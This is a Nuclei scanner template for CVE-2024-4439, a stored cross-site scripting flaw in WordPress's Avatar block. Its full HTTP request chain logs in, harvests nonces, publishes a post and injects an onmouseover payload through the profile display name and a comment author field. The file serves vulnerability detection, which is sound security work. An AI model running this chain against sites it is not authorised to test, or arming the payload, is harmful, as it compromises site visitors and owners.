nuclei-templates/http/cves/2024/CVE-2024-4439.yaml

135 lines
4.1 KiB
YAML

id: CVE-2024-4439
info:
name: WordPress Core <6.5.2 - Cross-Site Scripting
author: nqdung2002
severity: high
description: |
WordPress Core is vulnerable to Stored Cross-Site Scripting via user display names in the Avatar block in various versions up to 6.5.2 due to insufficient output escaping on the display name.
impact: |
This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. In addition, it also makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that have the comment block present and display the comment author's avatar.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4439
- https://www.cvedetails.com/cve/CVE-2024-4439/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2024-4439
cwe-id: CWE-80
epss-score: 0.00064
epss-percentile: 0.28966
metadata:
max-request: 10
framework: wordpress
tags: wpscan,xss,wp,wordpress,footnote,sxss,post
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/ HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-admin/post-new.php HTTP/1.1
Host: {{Hostname}}
- |
POST /?rest_route=/wp/v2/posts/{{postid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-HTTP-Method-Override: PUT
X-WP-Nonce: {{post_nonce}}
{"id":{{postid}},"title":"CVE-2024-4439","content":"<!-- wp:avatar {\"isLink\":true,\"linkTarget\":\"_blank\"} /-->","status":"publish"}
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{profile_nonce}}&first_name=%22+onmouseover%3Dalert%28document.domain%29%3B+%2F%2F&last_name=&nickname=admin&display_name=%22+onmouseover%3Dalert%28document.domain%29%3B+%2F%2F&email=admin%40gmail.com&action=update&user_id={{userid}}&submit=Update+Profile
- |
GET wp-login.php?action=logout&_wpnonce={{logout_nonce}} HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-comments-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
comment=Unauthenticated+Comment&author=%22+onmouseover%3Dalert%28document.domain%29%3B+%2F%2F&email=example%40gmail.com&url=example.com&submit=Post+Comment&comment_post_ID={{postid}}
- |
GET /?p={{postid}} HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body_9
words:
- 'aria-label="(" onmouseover=alert(document.domain);'
- type: word
part: header_9
words:
- 'text/html'
- type: status
status:
- 200
extractors:
- type: regex
name: userid
part: body_2
group: 1
internal: true
regex:
- 'user_id=(\d+)'
- type: regex
name: logout_nonce
part: body_2
group: 2
internal: true
regex:
- 'action=logout&(.*);\_wpnonce=(.{10})'
- type: regex
name: postid
part: body_3
group: 1
internal: true
regex:
- 'post=(\d+)'
- type: regex
name: post_nonce
part: body_3
group: 1
internal: true
regex:
- 'createNonceMiddleware\(\s"(.*)\"\s\)'
- type: regex
name: profile_nonce
part: body_5
group: 1
internal: true
regex:
- 'name=\"\_wpnonce\"\svalue="(.{10})\"\s'
# digest: 4a0a0047304502200bab44aa9194a8dd8fc4cbe79783d6b30f396bf2bb8d7f09c273d371ee1dc393022100ec79e714618c986ca30408c0969e82e97603f9f1fb30effb526046afe10fbab3:922c64590222798bb761d5b6d8e72950